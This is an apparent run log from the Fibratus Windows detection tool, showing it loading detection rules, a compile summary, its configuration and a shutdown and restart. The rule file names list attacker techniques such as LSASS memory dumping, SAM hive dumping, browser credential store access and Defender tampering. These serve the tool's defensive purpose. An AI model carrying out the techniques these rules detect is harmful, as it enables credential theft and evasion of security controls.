C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:08:58+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T16:08:58+01:00 level=info msg=bootstrapping with pid 16076. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T16:08:58+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ port=>25 enabled=>false to=>[] use-template=>true content-type=>text/html] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ min-buffers=>16 enable-thread=>true enable-fileio=>true enable-net=>true enable-dns=>false enable-handle=>false buffer-size=>512 flush-interval=>1s enable-image=>true max-buffers=>36 stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true enable-mem=>false enable-threadpool=>false enable-audit-api=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info formatter=>text log-stdout=>true max-backups=>15 max-size=>100 max-age=>0] + output ......................... [ eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] elasticsearch=>[ gzip-compression=>false template-name=>fibratus trace-log=>false timeout=>5s enabled=>false sniff=>false healthcheck-interval=>10s flush-period=>1s healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] index-name=>fibratus healthcheck=>true bulk-workers=>1] http=>[ serializer=>json enabled=>false enable-gzip=>false method=>POST endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s] amqp=>[ exchange=>fibratus routing-key=>fibratus vhost=>/ passive=>false tls-insecure-skip-verify=>false enabled=>false durable=>false url=>amqp://localhost:5672 delivery-mode=>transient timeout=>5s exchange-type=>topic]] + pe ............................. [ read-resources=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-allocs=>false skip-registry=>false skip-mmaps=>false enabled=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-files=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-11T16:08:58+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T16:09:00+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T16:09:17+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T16:09:17+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T16:09:17+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T16:09:39+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 